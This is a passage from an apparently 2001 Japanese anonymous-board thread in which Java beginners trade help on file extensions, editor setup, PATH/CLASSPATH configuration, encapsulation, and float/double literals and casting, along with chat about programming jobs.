おい スレが 保存できないじょ 最近 時間の流れが 速いな・・
502 :
きみちゃん ◆YTBBau7Y :01/08/28 08:37 ID:UtgCb3CA
>>498 確かに、Cの方が「求人」多い。
(主に「派遣」だが)
503 :
a :01/08/29 07:45 ID:j0A/fmuE
504 :
ジャバーウォッキー :01/08/29 19:21 ID:831h.td2
ふうう、 ソフトバンク『基本情報技術者試験Java集中ゼミ』終了。 なんかいけそうかなーって気もするけど「予想問題」だからなー。
505 :
きみちゃん ◆YTBBau7Y :01/08/29 19:23 ID:bsr.dbS6
>>503 「派遣」は、「最終手段」と考えているので、当分応募しない。
506 :
極楽 :01/08/29 19:27 ID:sRKsTsxc
JAVAの求人増えてるよ。 オレも大学時代やってたけど画面に向かってプログラムと格闘してるより 外に出て何かやってるほうが好きだから止めちゃった。
507 :
きみちゃん ◆YTBBau7Y :01/08/29 19:28 ID:bsr.dbS6
>>506 そうそう、「プログラマ」は、暗い暗い!!
508 :
極楽 :01/08/29 19:37 ID:sRKsTsxc
>>507 同意者がいてくれた。
将来性のある職業だけど病気になってる人も多いみたいだし、友達なんて
会社まで遠いのだけど一人暮らしする必要がないぐらい会社に寝泊りしてるからね。
ま、その分の報酬はいいけど。
フリーのプログラマーでも月60〜70万稼いでいるみたいだから。
509 :
きみちゃん ◆YTBBau7Y :01/08/29 20:05 ID:bsr.dbS6
>>508 本当に、プログラマーって、「仕事の奴隷」。
オレは以前、放送局に勤務していたが、そこに来ていたプログラマ
なんて、朝9時から、夜中の4時頃まで毎日仕事してた。
それでも、「バグが取れない」って叱られてたし、聞くところによると、
「出張先のホテルで過労死」なんてのも珍しくないらしい。
なにしろ、テレビが「放送終了」して、おれらが明朝の準備して寝ようって
時になってもまだ仕事してるんだもん。
なんか、「幽霊」を見るような気分だった。
510 :
ジャバーウォッキー :01/08/29 20:43 ID:831h.td2
>>482 お久しぶりです。
「Java集中ゼミ」を読んだにもかかわらず、
まだイマイチ理解できません。
参照を渡すことが危険だとすれば
プリミティブ型のデータしか返せなくなるのでは?
(Stringは改変すると新しいオブジェクトを生成するから特別?)
本のサンプルソースでもprivateなオブジェクトの参照を
返すものがありました。
一方で配列の参照を返すケースは見たことが無いですね。
たとえば数行の文字列を返す際、
・文字列を格納したVectorの参照を返す
はアウツでしょうか。他には
・Stringで一行ずつ返す
しか、思いつかないです。
511 :
◎ :01/09/02 09:52 ID:j/onLwII
>>510 わかりにくいですよね、ごめんなさい。
参照を渡すことが危険ではないのです。
Javaは値を返すときコピーした値を返します。
プリミティブ型なら問題ないのですが、
参照型はオブジェクトのコピーではなく
参照のコピーを返しますから値を返した相手と
オブジェクトを共有することになります。
ですのでこのときにカプセル化によって
隠蔽されているはずの内部の実装、状態である
オブジェクトの参照を返してしまうと、
そのオブジェクトが勝手に変更されてしまう
可能性があるので問題になるのですよ。
Vectorも自分が管理している配列の参照は返しませんが、
要素をコピーした配列の参照は返します。
それからJavaは配列もオブジェクトになります。
Object obj = new int[100]; // int配列型の参照をObject型にキャストして代入。
はエラーではありません。
Stringのように内部の状態を変更することができない
クラスのインスタンスは参照を渡しても変更される
心配はありませんし、マルチスレッドでの
不整合も起こりません。
ただ値を変更したい場合、新たにインスタンスを
生成しなくてはなりません。
>・文字列を格納したVectorの参照を返す
Vectorに実装を依存しているのならそのVectorを返すのはまずいですよね。
内部状態のコピーを返してもよいですし、
java.utilにあるIteratorを返してもよいと思います。
>・Stringで一行ずつ返す
どのようなメソッドを公開しますか?
公開するメソッドはそのオブジェクトを
表すことになるので大切なのですよ。
初歩的な質問です。 どなたか教えて Java2 sdk 1.3.0を本付属のCDよりインストール後、 パスの設定を終了しました。 けれど メモ帳で,プログラムを書いてFirst.javaとして保存しても, First.java.txtになってしまう場合は 何故でしょう?つまり、メモ帳で拡張子をjavaにしても txt形式で保存してしまいます。 Windows98を使ってます。 本を買って先に進もうとも、ここから進めません。 このままだと、はりきってスタートを切ったけど、いきなりこけた感じです・・
513 :
抹茶Pocky :01/09/07 06:29
それは『ファイルの種類』にテキスト文書を指定してるからじゃないの? 『すべてのファイル』を指定すれば拡張子は制御されません。 >ここから進めません。 #つーかファイルをリネームして進めよ...(^^; おせっかいついでに言っとくけどコーディングするなら メモ帳より秀丸とか使ったほう(慣れておいたほうが)がいいよ
このスレおもしろい。とくに最初のやりとりが。
>513 >それは『ファイルの種類』にテキスト文書を指定してるからじゃないの? >『すべてのファイル』を指定すれば拡張子は制御されません。 お返事ありがとうございます 『すべてのファイル』にして「First.java」に保存しても、 強制的に「First.java.txt」テキスト文書になっちゃう。 でも、めげずにそのテキスト文書を無理やり「ファイルの名前の変更」でjavaにしちゃうと ファイルが消えてしまう(ほら、あのwindowsのマークのファイルになっちゃう) GIF,JPEGなどの異なるファイルなら簡単に変わるんだけどな。 ちなみにWIN98です。 DOS画面でc:\windows>の後に「java」とか「javac」って入れると 動いてくれてる(エラーは出ない)からパスは上手くいってる と思うのだけど。 javaよ、いいかげんに目覚めてくれ・・
518 :
だれでも良いだろ? :01/09/07 08:26
519 :
◆Bhr3hfLM :01/09/07 09:51
じゃ場あげ
java以前にPCとかwindowsとかから学びなおさなきゃいけねえんじゃねーの?(*´▽`)y-~~
521 :
◆P554yc3s :01/09/07 11:19
>>517 「〜.java」って言うファイルタイプが無いから、
windowsマークのファイルになるんじゃなかったっけ。
そのままコンパイルしても、問題ないと思うよ。
>522 そうか、わかった、ありがと。
>うぅ まあこの程度の煽りはかわいいもんだ、 気にするな。
>512 メモ帳使う時は、ダブルクォートで囲む癖をつけるってのは? そういうのは嫌い? "foo.java" ↑こんな感じで。
526 :
抹茶Pocky :01/09/07 20:56
C:\ > javac foo.java C:\ > java foo Hello World ! C:\ > _ ヽ(´ー` )ノ
527 :
あい(地球)のり(w :01/09/08 19:36
メモ帳を使うのだけは止めないと先に進めませんよ このスレ最初から読んでみてよ
はやすぎる挫折?
529 :
ノースマン :01/09/10 02:25
>517さん 保存する時525さんの言うと通り"First.java"で保存すると(””で囲む) 上手くいくはず。 それと、エディターはやはり違うの使った方がいいかもね。 「sakura」っていうフリーのエディターつかってるんだけど メモ帳よりいいかも。(java予約語が自動的に色が変わる)
すまん。で、どのエディタがよいのじゃ?よー分からん。
531 :
サンバルカン :01/09/10 05:08
hidemaru 4000yenのやつ
>ノースマンさん サクラ使ってみました。メモ帳と異なり色がついているので かなり使いやすいです。 >525さん、529さん の言うとおり、””もうまくできました。 貴重な役に立つ情報ありがとうございました。 また、わからないことがでてきましたら よろしくお願いします。
>532 メモ帳に限らず、「"」で囲むってのは大抵のWinアプリで使える(と思う)から、憶えておいて損はないと思う。 Javaを勉強して何をするかによって違うけど、手っ取り早く職に付くための道具と思ってるなら、 安易にアプレットとかに走らずに、アプリケーションで構文とクラスライブラリの基礎を押さえ、 あとはPCにapacheとかTomCatとか入れて、JSPやservletの勉強をした方がいいと思う。 それから、SQLの基本と、UML。 まぁ、個人的意見だけど。 趣味でやるんだったら、アプレットは楽しいよね、グラフィカルだし。 楽しいってのは、凄く大切な事だと思う。 もし時間があるのなら、GCCとか落としてC言語から・・・って言うのは、このスレでは言っちゃいけないことなのかな。 何度も繰り返されてる話題なんだけど、僕もC言語から入った人間だから、そう思っちゃうんだよね。 まぁ、とにかく頑張りましょう。 お互い。
>530 最終的にはxyzzyとかってなるんだろうけど・・・ でもさ、ちょこっと使う分には、そんな多機能じゃなくていいと思うんだけど。 秀丸も凄く良く出来たエディタだと思うけど、マクロとかさ、最初の内って使うのかな? だから、ある意味「メモ帳」もアリだと僕は思う。 Windowsなら必ず入ってるし。 いや、薦めないけど。あくまで「ある意味」。 フットワークの軽さと機能のバランスって面で考えると、最初はTaraPadとか良いんじゃないかな。 パワーユーザの人からは笑われるかもだけど、やっぱあの軽さと機能の取捨選択のセンスは好き。 僕は実力なんてたいしてないから、最初っからそんなところで格好付けてもしかたないって思ってる。 他のところで努力する。そしていつかは・・・って感じで。 まあ、最近のバージョンはだんだん多機能になってきて、ウリである「軽さ」が薄れてきたんだけど それでもやっぱ軽いっしょ。
一応、薦めたからには最低限のフォローはするね。 とりあえず、最新の正式版(現時点では0.71)を落としてきて。 で、デフォルトの設定から、ちょっとだけJavaのコーディングがしやすいように変える。 僕のオススメ設定はこんな感じ。 ---------------------------------------------------- 『表示(V)』→『オプション(O)』 『基本』: 「タブの文字数」:4 「オートインデント」:チェック 「カーソル行に下線を表示」:チェック 『表示』: 「TABマーク」:チェック 『色』: 「TAB、空白」:黒 『行番号/ルーラー』: 「標準モード時は非表示」:チェックを外す 『ファイル』: 「ユーザーファイルフィルタ」:「;*.java」を追加 『ウィンドウ/漢字コード』: 「漢字/改行コードを自動認識する」:チェック 「保存時の漢字コード」:読み込み時の漢字コードと同じ 「保存時の改行コード」:読み込み時の改行コードと同じ ----------------------------------------------------- 「タブの文字数」と「TAB、空白」の色は、僕の好み。 あと、低い解像度(800*600,1024*768あたり)で利用してる人は 『表示(V)』→『フォント(F)』でフォントサイズを小さくした方がいいと思う、10あたりに。 まぁ、これこそ個人の好みの問題だけど。
んで、「Shift+F1」を押してみて。 ショートカットキーの一覧が出るよね。 プリンタがあるなら、それを印刷してモニタの横にでも貼っておいた方が良いと思う。 これだけで、作業効率が3割は上がる。 プリンタ持ってないのなら、まぁ、なんとなく眺めて、だいたいどんな機能があるかを憶えて。 適当でいいよ。分からなくなったら、またその都度見ればいいわけだし。 最初はそんな感じ。 後は、使い込んでいくうちに勝手に憶えていくと思う。 オンラインヘルプとかも、結構充実してるので慣れてきたら目を通してみて。 ちょっと文章のテンションが高いというか、僕みたいなダウナー系の人間には、ちょっとつらいんだけど。 でも、読む価値はあるよ。 んで、アドオン機能とか使い込んで、それでも物足りなくなったら、次のエディッタに進むと良いんじゃないかな? その頃には、自分がどういうものを望んでいるのか、はっきりとわかるようになってると思うから。 長くなった。 ごめん。
>534 >TaraPad 打ちミス。 ○:TeraPad。 鬱。
このスレ好きだなぁ。 人の成長する様が面白いね。 僕もいつかRPGをつくりたいと言う夢があるからガンバロ。 ゲームやりまくってからだけど。
>525 ありがとう!参考になったよ TeraPadバンザーイ!
541 :
ワサモ :01/09/19 04:40 ID:kYI1u6js
なんかいろいろやってるなぁ。 途中で挫折するのを恐れて足を踏み出せない俺とは大違いだ。 JAVAって、自分のホームページで何かおもしろいことができるの?
542 :
:01/09/19 12:30 ID:rZ.W.tNA
543 :
age :01/09/22 08:18 ID:RylhwuoM
age
544 :
nnsi3 :01/09/24 18:43 ID:ZKlEAUj.
delphiってどうよ?
545 :
”s”age :01/09/25 20:58 ID:.0za0qRM
挫折した?
すまん、もうちょっと待ってくれえ。(就活中) 誰か盛り上げてくらはい
547 :
いいとも見てますか? :01/09/26 18:58 ID:Vbwoskv2
delphiで、"Hello world"って表示するプログラム書いてくれ
548 :
いっぽ :01/09/26 19:22 ID:cIe1J.WU
549 :
名無しさん@XEmacs :01/09/26 21:19 ID:2m/Fr.ik
>>547 C Magazine 10月号買って勉強しれ.Delphi 6 Personal
もついておる.
550 :
馬鹿 :01/09/27 10:19 ID:vDdOusRk
うおおおおお やるぞ みなさん よろしくお願いします でも、正直cかjavaのどちらにしようかなやんでます どっちが良かと?
551 :
. :01/09/27 10:44 ID:m3l3Muiw
>>550 とりあえずココは Java スレなハズなので
Java と言っておきなされ.ふぁ,寝よ.
552 :
馬鹿 :01/09/27 16:54 ID:036w3zEU
人すくないね
553 :
547 :01/09/27 17:37 ID:LjBl/OaY
>>549 お金ないんで11月に発売のを書いてもらえるとうれしいある
554 :
ワサモ :01/09/28 07:37 ID:0Sk.LkMc
1と同じ本を買ったぞ。 ここまできてdat落ちなんぞさせてたまるかい。 よってage
555 :
馬鹿 :01/09/28 11:18 ID:HBo8FRbc
うおおおおお バイトだるかった よろしくワサモさん 僕も今日、同じ本を買ってきます
556 :
◎ :01/09/29 07:44 ID:ADko9YSo
C言語のポインタあたりまで先にやっておいたほうがよいと思いますヨ。
557 :
:01/09/29 08:11 ID:Sz.zH0VQ
C,VC++,Java,Delphi,VB 全部覚えた 超楽勝だネ 簡単簡単
558 :
おにゃんこそば :01/09/29 08:38 ID:wlcT0JiM
>>557 VBで簡単なラーメンタイマー作ってみ、10行以内な
559 :
おにゃんこそば :01/09/29 08:39 ID:wlcT0JiM
あ、Javaスレだった。Javaで (^^;
560 :
馬鹿 :01/09/29 10:13 ID:0gOWSbLY
教えてください C C++ C#って何が違うんですか? どれがおすすめですか? マジレスきぼん
561 :
. :01/09/29 19:01 ID:wkhAKV0I
>>560 瞬殺される可能性は否定し切れないが,
君の将来の為に敢えて言おう.
専 門 板 へ 行 け
562 :
馬鹿 :01/09/29 21:12 ID:HKm4HfNM
>>561 このスレに来る前にいきましたが何か?
すでに瞬殺されずみですが何か?
563 :
ワサモ :01/10/01 03:19 ID:LK9nlIIU
>555 ども、よろしくお願いします。 123+456(一番最初に書くやつ)ができない…(笑 「コマンドまたはファイル名が違います」 javac Sample1.java これのどこが間違いなんだろう…
564 :
ワサモ :01/10/01 03:25 ID:LK9nlIIU
public class Sample1 { public static void main(String args[]) { int a, b, c; a = 123; b = 456; c = a + b; System.out.println(c); } } う〜む…
565 :
無職Χ(現在有職) :01/10/01 03:33 ID:2xkVKjmo
>>560 C.....高級アセンブラ
C++...Cにオブジェクト指向風味な味をつけたもの
C#.....ゲイツがさらに稼ぐために作った言語
566 :
ワサモ :01/10/01 04:09 ID:4T64Cyzs
どうもAutoexec.Batにつけたす文字がまずかったらしい。 (PATH: C\jdk1.3\bin:%PATH% とか書いてた) しかも、それを修正したら、一度再起動しないといけないらしい。 (電源切らずに何度も再入力してた) どこが間違ってるかわからんのはムズイね。 ソースファイルは合ってるだろうし。 コンパイル完了。しか〜しJAVAアプリケーションを実行すると "Exception in thread "main" java.lang.NoClassDefFoundError: Sample1 またもや謎。
567 :
ワサモ :01/10/01 04:25 ID:4T64Cyzs
thread...糸、細い線、筋、筋道 lang...language def...defective,defense,deferred,definite,defenition defective...欠点のある deferred...延期された defenite...明確な、一定の、限定された defense...防御、防御物、弁護 う〜む。
568 :
ワサモ :01/10/01 04:45 ID:Xlmthqeg
Autoexec.Batをメモ帳で開いた時 @ECHO OFF PATH=C:\NECUTILS loadhigh c:\windows\COMMAND\nlsfunc.exe c:\windows\country.sys @SET CLASSPATH=C:\PROGRA~1\PHOTOD~1.1\ADOBEC~1 PATH C:\jdk1.3\bin;%PATH% 下から2行目は本には載ってない。何なんだろう。 いっぺん消してみるか。
569 :
ワサモ :01/10/01 04:59 ID:m4Oq6wUc
>568の下から2行目を削ってみた。 するとできた。123+456の計算。 579と表示された。 でも、いいのかなぁ。 >568の下から2行目、 ひょっとしたらすごく大事な文なんじゃないだろうか。 これ削ったせいでどっかに支障が出るんじゃないだろうか。 そもそもこのファイルは元々どこにあったんだろう。 Windowsの共有ファイルだったりしたらエライことになりそうな気がする。 怖いから今日はここで止めておこう。 誰か詳細教えてフリーズ。
570 :
名無し :01/10/01 13:55 ID:AHcI/jCo
本日日本実業出版社のjavaのすべて買いました。 ううむ、むずい。
571 :
:01/10/01 14:26 ID:F3k0y0Y6
Adobe PhotoDeluxe はインストール時に autoexec.batのclasspathを書き換えてしまうそうです。 classpathを消すとPhotoDeluxeの動作に 支障が出るかもしれませんので カレントフォルダを表す[ . ]を加えたclasspath にすればよいですよ。 ↓パスを区切る文字[ ; ]のあとに[ . ]を加えたclasspass @SET CLASSPATH=C:\PROGRA~1\PHOTOD~1.1\ADOBEC~1;. それからdefは多分definition(定義)の略です。
572 :
ワサモ :01/10/02 02:15 ID:9jE/sCHc
>571氏 おおっ、ありがとうございます。 早速書き換えてみます。 しかしすげ〜… あれ見ただけでAdobe PhotoDeluxeが入ってるとわかるなんて…
573 :
age :01/10/06 00:23 ID:jTQJlszo
age
574 :
にゃんたく :01/10/08 09:36 ID:5ITMwVWg
MSがJAVAを捨てに行ってるので ココの人かわいそうです
今awt使ってるって古いのかな
576 :
ノースマン :01/10/09 02:28 ID:G/PL68Ug
>>574様 私もMSのJAVA(サンマイクロシステムズ?)潰しの予感 有りです。 WindowsXPはJavaVM積んでないのでApplet動かないみたい ですね。 と言うことはC##が主流に? Windows・・・・・MSが作ったMACOS? インターネットエクスプローラー・・・・・・MSが作ったネットスケイプ? そして__C##・・・MSが作ったJAVA? だれかビルゲイツに「平家物語読」読ましてやってくれ!!! 沙羅双樹の花の色「盛者必衰の理を表す」 さらそうじゅのはなのいろじょうしゃひっすいのことわりをあらわす 「いつかはポシャルのさ!ふん」
577 :
ノースマン :01/10/09 02:37 ID:G/PL68Ug
追伸です。 でもC##とJavaはオブジェクト指向に対する考え方は似ている 気がするのでJavaを勉強する事は決して無駄にはならない と思います。 上級者の皆様のご意見承りたいところですね。
578 :
どじや :01/10/09 12:36 ID:mQJ0yI1o
でも携帯はJavaだろ
579 :
◎ :01/10/10 17:26 ID:aewibE3g
オブジェクト指向プログラミングをJavaからはじめるのは 悪くない選択肢だと思います。
580 :
ジャバーウォッキー :01/10/10 23:18 ID:a4KxYaxw
就活中ですが、たいていのSI系企業はJava重視だよ。 まあ、初心者なんでどうせ面接の印象で決まるんだろうけど・・・
>◎さん お久しぶりです。 基本情報の勉強でいっぱいいっぱいで Javaの勉強するひまがないっす(いや、Javaで受けるんだけどさ) でもなんか書いてアップしたいとこです。 その折にはよろしくお願いします。
582 :
:01/10/11 00:46 ID:z4uor3L2
Cスレが逝ってしまった…
583 :
ノースマン :01/10/11 02:26 ID:/IZVx9Mk
友達のパソコンスクール講師の話では、 Javaアプレットは他のソフト(FLASH等)に押され気味らしいですが サーバーサイドJava(サーブレット)、iアプリ、家電の制御プログラム は伸びているらしいです。 たとえMSのC#に主流が移ってもJavaのオブジェクト指向の考え方 (classを上手く使って目的を遂げる)を理解していれば 応用がきくとの事です 本当かな?
584 :
age :01/10/12 06:04 ID:Xydk3wDQ
age
585 :
◎ :01/10/12 16:37 ID:YfLI4Aug
586 :
おお :01/10/12 17:30 ID:Nwus8BUM
今は1・2種の選択にJavaがあるのか
587 :
ジャバーウォッキー :01/10/13 02:09 ID:qMYEGSx.
>>583 そうそう、面接で聞きまくってるんだけど(アホだと思われてそう)、
サーバーはどんどんJava(EJB)に移行中のようです。
UNIXを撲滅しない限りC#主流にはならないとおもうけどなー。
プログラマ板でJava叩く人が多いのは、
純粋に言語仕様が気に入らないからだと思います。
俺はイベントハンドラあたりが理解困難。
>>586 この秋からです!ソフ開(1種)は知らないけれど・・・
588 :
ノースマン :01/10/13 02:54 ID:TK3Z65hU
このスレッドは皆様真面目なので安心して書き込めます。
>>587 様EJB(EnterpriseJavaBeans)
はかなり、伸びそうですね。
私も実は詳しくありません・・・・・・
聞くところによると、クライアントとデーターベースの間に
アプリケーションサーバーなるものを設けて、そこにロジックを
書き出す為のコンポーネントらしいです。
クライアントが増加した場合のサーバー能力低下を防ぐには
かなり有効らしいのですが、詳しいことは理解できてませんです。
おいおい勉強する事にします。
皆さんもこつこつ頑張りましょう。
・・・説教くさくてスンません
589 :
ノースマン :01/10/13 03:10 ID:TK3Z65hU
>>◎様 いつも、貴重なご意見有難うございます。 かなりの実力者とお見受けしております。 これからもよろしくお願いいたします。
590 :
にゃんたく :01/10/13 04:58 ID:dzYCwjfI
1時期JAVA自分で覚えて、アプレットとか作ったりしたけど・・・ やっぱイベントとかクラスとかそういうのが嫌になったので、 CとかVBとかHSPの方の方がいいや
591 :
◎ :01/10/14 00:59 ID:Ec6Djy2I
>>589 そうだとよいのですが(w よろしくお願いします。
592 :
ワサモ :01/10/15 00:18 ID:obx9Kw6v
保守も兼ねて、今まで出したエラーメッセージなぞを書き込んでみますか。 なんとなく意味がわかったのもあり、わからないままのものもあり。 ample3.java:11: ';' がありません。 public void paint(Graphics g) Sample3.java:15: 'class' または 'interface' がありません。 Sample3.java:11: メソッド本体がないか、abstract として宣言されています。 public void paint(Graphics g) 警告: Appletviewer プロパティファイルが読み込まれません: C:\WINDOWS\. hotjava\properties デフォルトを使用します。 Exception in thread "main" java.lang.NoClassDefFoundError: Smaple5 Sample7.java:7: 'class' または 'interface' がありません。 public lcass Sample7 ^
593 :
ワサモ :01/10/15 00:21 ID:obx9Kw6v
ありゃりゃ、スペースが削られちゃってる… 「^」の位置がずれてるわい。
594 :
~ :01/10/15 00:48 ID:IntJwwDc
>590
クラスが苦手ってのを、オブジェクト指向が分からないと勝手に判断させてもらうとして、
UMLをお勉強する事を薦めたい。
んで、暇な時にでも身近な物(者、モノ、即ち是オブジェクト也)をUMLモデル化してみたりとかして、TVとかPCとかさ。
2週間も経てば、多分いつの間にかオブジェクト指向的な考え方が身に付いてる(妙な表現だが)と思われ。
少なくとも、僕はそれで自分の中で形になった(つもりになっただけかもだけど)ので、オススメ。
ttp://www.shoeisha.com/book/Detail.asp?bid=71 因みに僕は、定番「独習シリーズ」でお勉強したよ。
分かり易かった様な気がするけど、絶対的な読書量が少ないというか、他のUML入門本をあんま読んでないので、比較は出来ないけど・・・
本屋で何冊か立ち読みしてから決めるといいね。無責任でごめん。
http://www.ogis-uml-university.com/ 自信が付いたら、UML検定のブロンズでも受けてみるといいよ。
無料だし、web上で何度でも受けられるしね。
ブロンズは持ってても自慢にはならないというか、持ってて当然って感じになっちゃってるけど、
でも認定証とか送られてきてさ、なんか無意味に嬉しいもんだよ。ガキでスマンね。
イベントに関しては・・・キライなモンはキライなんだろうから仕方ないとして、CUIで頑張るって方向で。
でも、やっぱ時代はGUIだしね、慣れるしかないのかな。
・・・クライアントサイドのJavaなんてハナから誰も期待してないから、まぁいいんじゃない?別に。
595 :
:01/10/19 22:39 ID:fH9lQkqZ
age
596 :
^ :01/10/21 01:04 ID:7Q0Ja/AI
age
597 :
ジャバーウォッキー :01/10/22 00:53 ID:GARiHw13
基本情報終わった! Javaを学ぶものに幸あれ!て感じだったよ! このスレには受けた人いないのかな?
598オパーイ
そして599オパーイ
600 :
ヤカン :01/10/22 01:06 ID:Zw6nXdyb
俺出願してたんだけど行けなかったよ だめの俺に朝9時集合なんて言われたって
601 :
はらぺこさん :01/10/22 01:06 ID:HpTGy4xr
伝説の600オパーイ!!
602 :
はらぺこさん :01/10/22 01:07 ID:HpTGy4xr
>>ヤカン ひどい。あんまりだ。
603 :
ジャバーウォッキー :01/10/22 01:29 ID:GARiHw13
>伝説の600オパーイ!! ワラタ >ヤカン 3分の1くらいは空席なんだよな− 資格板の基本情報スレとか見てなかった? ああいうのに参加するとやる気が出るよ。
604 :
ヤカン :01/10/23 00:25 ID:S7omqfCp
ん?俺なんかした?… …と思ったら600踏んでたのかすまん(笑
>ヤカン ラわーい!! ヤカンは良い奴だ!! ヤカンワショーイ!!
606 :
10000 :01/10/23 03:42 ID:vqJjYfrF
age?
607 :
ワサモ :01/10/28 03:08 ID:168Faq/C
保守sage。ネタなくてスマソ。
608 :
両刀初心者 :01/10/29 00:01 ID:TTGdQont
Cスレも書きこんだりしてるけど、 こっちもあげ。がんばれ
609 :
ワサモ :01/10/29 23:41 ID:+kQ655YO
public static void main(String args[]) { // 変数を定義する。 float GEKKYU, BONUS_RITSU, MONTH_PER_YEAR, ZEI_RITSU; GEKKYU = 200000; BONUS_RITSU = 3; MONTH_PER_YEAR = 12; ZEI_RITSU = 0.2; // 変数を定義する。 float Bonus, Nenshu, Zeikin; // ボーナス、年収、および税金を計算する。 Bonus = GEKKYU * BONUS_RITSU; Nenshu = GEKKYU * MONTH_PER_YEAR + Bonus; Zeikin = Nenshu * ZEI_RITSU; // 月給、ボーナス、年収、および税金の値を表示する。 System.out.println("月給 = " + GEKKYU + "円"); System.out.println("ボーナス = " + Bonus + "円"); System.out.println("年収 = " + Nenshu + "円"); System.out.println("税金 = " + Zeikin + "円"); } } これは何がダメなんでしょうか。以下エラーメッセージ。 精度が落ちている可能性 ZEI_RITSU = 0.2 ^
610 :
Java恥めました。 :01/10/30 00:03 ID:NHjyMyhQ
>>609 ZEI_RITDUはfloat型
0.2はdouble型だからじゃないかな?
違ったらスマソ、
611 :
ワサモ :01/10/30 00:29 ID:MUXu4Oh3
えっと…テキストによると float型は ±3.40282347*(10の38乗)〜±1.40239864*(10の-45乗) double型は ±1.79769313486231570*(10の308乗)〜±4.94065645841245644*(10の-324乗) 0.2はfloatで大丈夫じゃないのかな?と思うんですが…どうでしょう?
612 :
名無しさん :01/10/30 00:33 ID:/ZmXu/nk
迷ったらdoubleで統一。 全部ダブルでも大して問題ないよ。
613 :
ワサモ :01/10/30 00:36 ID:MUXu4Oh3
あと、定数を定義するとき long や float はそれぞれ数の後にLやFをつけるそうですが、 数字の後に文字がついてもいいんでしょうか。 final long L=123L final float F=123F としたら、「123」ではなく「123L」「123F」という 数字(値?)になる(→エラー?)んじゃないか、とか思うんですが… Char や boolean 以外は文字を無視する、とかいうなら別ですが。
0.200000 とかで代入してみてもダメか? 憶測だけど。
615 :
ワサモ :01/10/30 00:39 ID:MUXu4Oh3
んで、>613なら final long L=123; final float F=123; でいいんじゃないかなぁ?と思うんですが… 変数を宣言&代入するときは単純に見えたのに、 定数になるとやたら難しくなって… あーちょっと整理がつかなくなってきた。
616 :
ワサモ :01/10/30 00:45 ID:MUXu4Oh3
>614 ダメでした…
617 :
ワサモ :01/10/30 00:47 ID:MUXu4Oh3
>612 一度float(と、定数でFをつけるとかなんとか)が出て、 気になってしまって… そのあたりを読み飛ばす、という手もありますけど…
618 :
Java恥めました。 :01/10/30 00:57 ID:LRXdZWV2
ただ123って書いただけじゃコンパイラはint型なのか float型なのか判らないでしょ? だから long L=123Lとかfloat F=123Fみたいに数字のあとに 型を明示的に指定してあげるんだよ。 数字のあとにつけるFとかLってのは定数の型を 指定する特別な識別子なので、エラーにはなら ないですよ。 型指定ぜずに数字をそのまま書いた場合、 整数はint型、浮動小数点型はdouble型と 判断される(桁数が少なくても!) よって0.2はfloat型ではなくdouble型なのです。 ってあってます?どなたか識者の方のご意見を 聞きたいです。
619 :
ワサモ :01/10/30 01:12 ID:MUXu4Oh3
>618Java恥めました。氏 型を指定している時点では見分けられないんでしょうか。 long L = 123L; (最初にlongだって言ってるのに、なぜわざわざLをつけねばならんのだ?) という感じです。ちょっと、わかりにくいかなぁ…。 特別な識別子=エラーにはならない、というのはOKです。
620 :
Java恥めました。 :01/10/30 01:33 ID:co72bV68
>>619 >型を指定している時点では見分けられないんでしょうか。
うーん、そこまではよくわからないですが、だめなんじゃ
ないでしょうか。
ただしint→longやfloat→doubleなどの表現できる桁数の
小さい型から大きい型へ代入する場合はコンパイラが
自動的に型変換してくれます。
例)
int i1=123;
float f1=0.2F;
double d1;
d1=f1; ←f1が自動的にdouble型に変換されてd1に代入される。
d1=i1; ←これも自動的に変換される。
逆に
f1=d1;
みたいに桁数の大きい型から小さいに代入しようとするとコンパイラに
怒られてしまいます。
なぜならば、double型をfloat型に変換しようとすると桁数が減って
しまうので、変数のもっている情報をすべて渡せない可能性が
あるからです。
細かい規則なんかは参考書などで確かめてみてください。
勝手にdoubleにされてるんなら ZEI_RITSU = (float)0.2; で代入したらいんじゃね?又憶測だけど。
622 :
ワサモ :01/10/30 01:44 ID:MUXu4Oh3
型変換OKです。 データ量の大きい値を小さい型に入れようとすると 「代入しろつっても容器が小さすぎるんじゃゴルァ」ってことですね。 逆(小を大に入れる)は勝手にやってくれるからOKと。 もう少し参考書読んでみます。
623 :
ワサモ :01/10/30 01:54 ID:MUXu4Oh3
>621おすぎです氏 OKでした。 これ、キャストですね? まだ十分にはわかってませんが。 floatって扱いづらいのかなぁ…。 longとintはキャストの時はあまり問題ないみたいだし…。
624 :
ワサモ :01/10/30 03:09 ID:Hwpxoh1+
論理演算子が全く理解できない…命題の真偽とかのことなのか? 誰か具体例出して〜
625 :
◎ :01/10/31 00:01 ID:OGbtkR0T
intの定数123(32bit)と、longの定数123L(64bit)を
コンピュータが内部で扱っている2進数で表すと
123 → 0000 0000 0000 0000 0000 0000 0111 1011
123L → 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0111 1011
となります。
この違いを意識してプログラムすることもあるのですよ。
>>199 にも書きましたが、Java恥めました。さんがおっしゃった通り
大きい型から小さい型へ代入するときには値が変わることがあるので
Javaでは明示的にキャストしなくてはなりません。
浮動小数点型、float(32bit)とdouble(64bit)の定数も
同じ関係になります。
それから浮動小数点型を扱うときには「丸め誤差」に注意してください。
たとえば10進数の0.2をコンピュータが扱う2進数で表そうとすると、
0.001100110011...と無限に繰り返して続く循環小数になってしまうのです。
浮動小数点型は32bitか64bit幅しかないためどうしても
誤差が出てしまいます。(丸め誤差)
お金など正確な値が必要な場合は整数型のintやlong、
longよりもっと大きな数を扱う必要があればパッケージjava.mathにある
クラスBigIntegerやBigDecimalを使うとよいですよ。
JavaFAQの浮動小数点のページです。
http://www.gimlay.org/~javafaq/S029.html >>624 このページはどうでしょうか?
http://www.itboost.co.jp/java/java_09.php
Java恥めました。と◎が素晴らしい説明をしてるので、もうフォローの必要が無いとは思うのだけれども、 >型を指定している時点では見分けられないんでしょうか。 >long L = 123L; >(最初にlongだって言ってるのに、なぜわざわざLをつけねばならんのだ?) に対するシンプルな答えが返ってないようなので、念の為のツッコミをしておくよ。 実定数123は「int型の定数」であるということは、>618で説明があったよね。 int型をlong型に代入してるから、自動で拡張変換がかかって分かりにくくなるわけだ。 逆にして考えてみよう。 ======================================================================= 型を指定している時点では見分けられないんでしょうか。 final long LONG_VAL = 123; int i = (int)LONG_VAL; (最初にintだって言ってるのに、なぜわざわざキャストせねばならんのだ?) ======================================================================= 極端な例でイヤミぽくなっちゃったけど、そういうつもりは無いよん。
